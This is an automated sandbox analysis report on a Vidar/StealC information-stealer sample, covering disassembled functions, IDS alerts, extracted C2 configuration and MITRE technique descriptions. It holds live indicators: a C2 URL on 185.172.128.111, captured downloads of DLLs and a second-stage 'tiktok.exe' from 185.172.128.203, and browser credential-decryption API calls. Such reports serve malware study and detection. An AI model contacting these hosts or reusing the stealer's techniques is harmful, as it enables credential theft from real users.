moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9385D3

Part of subcall function 6C8FCA10: malloc.MOZGLUE(?), ref: 6C8FCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C938725

Strings

map/set<T> too long, xrefs: 6C938720

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 65beaca593ea7d861cfde90cde3d28670a77c9aab31ae73cab00f0a1799688df
Instruction ID: a17388c6979e3fbf3b2d714bf240fa6dd12004850bcb3f95c1c299d4393fc1e1
Opcode Fuzzy Hash: 65beaca593ea7d861cfde90cde3d28670a77c9aab31ae73cab00f0a1799688df
Instruction Fuzzy Hash: 1C5196B46006658FC705CF18C084A56BBF1BF5A318F18C18AD85D8BB62C374E885CF96

Uniqueness

Uniqueness Score: -1.00%

Function 6C8EBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C8EBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C8EBE8F

Strings

0, xrefs: 6C8EBE5B

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 72f5b82960344af3b0a360ae2a8b78ae22c5789c0c9b1fcb8c70ac925d01d771
Instruction ID: 428a46f58ecd6273e777942361c38e4f672827a6f9f049692b13fedfc1851c8f
Opcode Fuzzy Hash: 72f5b82960344af3b0a360ae2a8b78ae22c5789c0c9b1fcb8c70ac925d01d771
Instruction Fuzzy Hash: 20418D7190974ACFC721CF28C581AABB7E4AF8E388F004E1DF985A7611D730D9598B86

Uniqueness

Uniqueness Score: -1.00%

Function 00415260 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetSystemTime.KERNEL32(?,04206728,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Strings

#F@, xrefs: 004152B1, 004152E1, 004152E4
#F@, xrefs: 0041526C, 004152E5, 004152F0, 00415304, 004152D3, 004152F3

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: #F@$#F@
API String ID: 62757014-661595268
Opcode ID: 46bb61088adb986cea44f6a6b3dbddea4d536a4a112ae46855b01c312768cf16
Instruction ID: 513f033f75459e748f43dcf9dcce4e772375218857ee2e068f26327ba23d5006
Opcode Fuzzy Hash: 46bb61088adb986cea44f6a6b3dbddea4d536a4a112ae46855b01c312768cf16
Instruction Fuzzy Hash: 8511D636D00108DFCB04EFA9D891AEE7B75EF98304F54C05EE41567251DF38AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 6C923CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C923D19
mozalloc_abort.MOZGLUE(?), ref: 6C923D6C

Strings

d, xrefs: 6C923D58

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 0ea880f8fed8a4169c721983fa9d3d94c7d4e4e89dc9a3b973d26212f4feae53
Instruction ID: 84294ac84641b5c1a9ac83e164443b182451781e7a5991d78d5688f1a8833149
Opcode Fuzzy Hash: 0ea880f8fed8a4169c721983fa9d3d94c7d4e4e89dc9a3b973d26212f4feae53
Instruction Fuzzy Hash: 73110436E18688D7EB009B79CC144EDB779FF96218B848218DC849BB42FB34E584C750

Uniqueness

Uniqueness Score: -1.00%

Function 6C946DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C946E22
__Init_thread_footer.LIBCMT ref: 6C946E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C946E1D

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 7b09fb70dbc39fbad0b527bb8c7fc664dc20505e491f95ecc41d71b6ca44f5a5
Instruction ID: 51f94343401cf75e7f327d9eac8a8d0ba10f839854355a8910009961304c990e
Opcode Fuzzy Hash: 7b09fb70dbc39fbad0b527bb8c7fc664dc20505e491f95ecc41d71b6ca44f5a5
Instruction Fuzzy Hash: D7F059B624C28CCBFB008B6AC850FA233B1676321CF24116DC44487FD1C722E92ECA93

Uniqueness

Uniqueness Score: -1.00%

Function 6C8FBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C8FBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C8FBEF5

Strings

cryptbase.dll, xrefs: 6C8FBEF0

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 34a455869c58abaded301dcbd3409acd2ed4ea05edc7c0022979555fde1ec9e7
Instruction ID: 4c9ed819f6d24ba9a62549b594fa74e1a3b49da472e43a94c25e07fa99b5b9c9
Opcode Fuzzy Hash: 34a455869c58abaded301dcbd3409acd2ed4ea05edc7c0022979555fde1ec9e7
Instruction Fuzzy Hash: 39D0A731184108E6E711AA918E09B3937749701355F20C425F31544891D7B09411DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C93B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C93B2C9,?,?,?,6C93B127,?,?,?,?,?,?,?,?,?,6C93AE52), ref: 6C93B628

Part of subcall function 6C9390E0: free.MOZGLUE(?,00000000,?,?,6C93DEDB), ref: 6C9390FF
Part of subcall function 6C9390E0: free.MOZGLUE(?,00000000,?,?,6C93DEDB), ref: 6C939108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C93B2C9,?,?,?,6C93B127,?,?,?,?,?,?,?,?,?,6C93AE52), ref: 6C93B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C93B2C9,?,?,?,6C93B127,?,?,?,?,?,?,?,?,?,6C93AE52), ref: 6C93B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C93B127,?,?,?,?,?,?,?,?), ref: 6C93B74D

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4c984faa8ae2591b0fdeb99ad62b42b5444c1fbfab6e585579fbae5c8fa40243
Instruction ID: 5eeaa9dae040a01c57186781fb411b88666a89e049f10eed7cf45d2596c635aa
Opcode Fuzzy Hash: 4c984faa8ae2591b0fdeb99ad62b42b5444c1fbfab6e585579fbae5c8fa40243
Instruction Fuzzy Hash: 3A51DE71A05A268BDB14CF58C98476EB7B5FF44708F15A52DC85FABB01DB30E804CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C94B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C8F0A4D), ref: 6C94B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C8F0A4D), ref: 6C94B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C8F0A4D), ref: 6C94B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C8F0A4D), ref: 6C94B67F

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4872f636e55cc1618107733c1dbbbb20383ec33cf247e0d80781f94665567b89
Instruction ID: 464bac8637a9b073e0cdc7b66213a20a3ecc59ed5a85cab49cc19a62f1389159
Opcode Fuzzy Hash: 4872f636e55cc1618107733c1dbbbb20383ec33cf247e0d80781f94665567b89
Instruction Fuzzy Hash: 6D31F471A006168FEF10DF59C84466EBBB9FF80324F16C52AD80A9B245EB31E915CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C91F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C91F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C91F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C91F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C91F668

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 2ad805efa95cac426f0543bf871f070f785e9f4813af0fbac8c6f73df3cc20fd
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: DD316171A0461CAFCB14CF1DCCC5AAB77B9EB98358B148538FA498BF04D631E9448B90

Uniqueness

Uniqueness Score: -1.00%

Function 6C9326B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9326C1
free.MOZGLUE(?), ref: 6C9326E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9326FF
free.MOZGLUE ref: 6C93270D

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0305e42cb4d4a80de5a5f75f9470a59dba8238aa74e154373fc5d39b46627831
Instruction ID: dc007aa82775a87af5d5dd40cae6721e0ddc43be8a6719b092a3e830a3c8ce9f
Opcode Fuzzy Hash: 0305e42cb4d4a80de5a5f75f9470a59dba8238aa74e154373fc5d39b46627831
Instruction Fuzzy Hash: 99F0F9B27016116BFB009A58D88895B73ADFF5125CB200036EA1EC3B03E331F918C6D5

Uniqueness

Uniqueness Score: -1.00%

Source: 00000000.00000003.1690988607.0000000005B70000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.111/f993692117a3fda2.php"}
Source: YEnIrzZUUw.exe.7428.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.172.128.111/f993692117a3fda2.php"}

Source: http://185.172.128.203/tiktok.exe00	Virustotal: Detection: 15%	Perma Link
Source: http://185.172.128.111	Virustotal: Detection: 10%	Perma Link
Source: http://185.172.128.203/tiktok.exe	Virustotal: Detection: 19%	Perma Link
Source: http://185.172.128.203/tiktok.exet-Disposition:	Virustotal: Detection: 15%	Perma Link
Source: http://185.172.128.111/f993692117a3fda2.php5	Virustotal: Detection: 5%	Perma Link
Source: 185.172.128.111/f993692117a3fda2.php	Virustotal: Detection: 15%	Perma Link
Source: http://185.172.128.111/f993692117a3fda2.php	Virustotal: Detection: 15%	Perma Link

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe	Virustotal: Detection: 50%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Virustotal: Detection: 50%	Perma Link

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00409540
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_004155A0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_004155A0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_00406C10 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00406C10
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_004094A0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_004094A0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_0040BF90 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040BF90
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8F6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C8F6C80

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.4:49730 -> 185.172.128.111:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.4:49730 -> 185.172.128.111:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 185.172.128.111:80 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.4:49730 -> 185.172.128.111:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 185.172.128.111:80 -> 192.168.2.4:49730

Source: Malware configuration extractor	URLs: 185.172.128.111/f993692117a3fda2.php
Source: Malware configuration extractor	URLs: http://185.172.128.111/f993692117a3fda2.php

Source: Joe Sandbox View	IP Address: 185.172.128.203 185.172.128.203
Source: Joe Sandbox View	IP Address: 185.172.128.203 185.172.128.203
Source: Joe Sandbox View	IP Address: 185.172.128.111 185.172.128.111

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.111

Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/sqlite3.dll HTTP/1.1Host: 185.172.128.111Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/freebl3.dll HTTP/1.1Host: 185.172.128.111Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/mozglue.dll HTTP/1.1Host: 185.172.128.111Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/msvcp140.dll HTTP/1.1Host: 185.172.128.111Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/nss3.dll HTTP/1.1Host: 185.172.128.111Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/softokn3.dll HTTP/1.1Host: 185.172.128.111Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/vcruntime140.dll HTTP/1.1Host: 185.172.128.111Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /tiktok.exe HTTP/1.1Host: 185.172.128.203Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

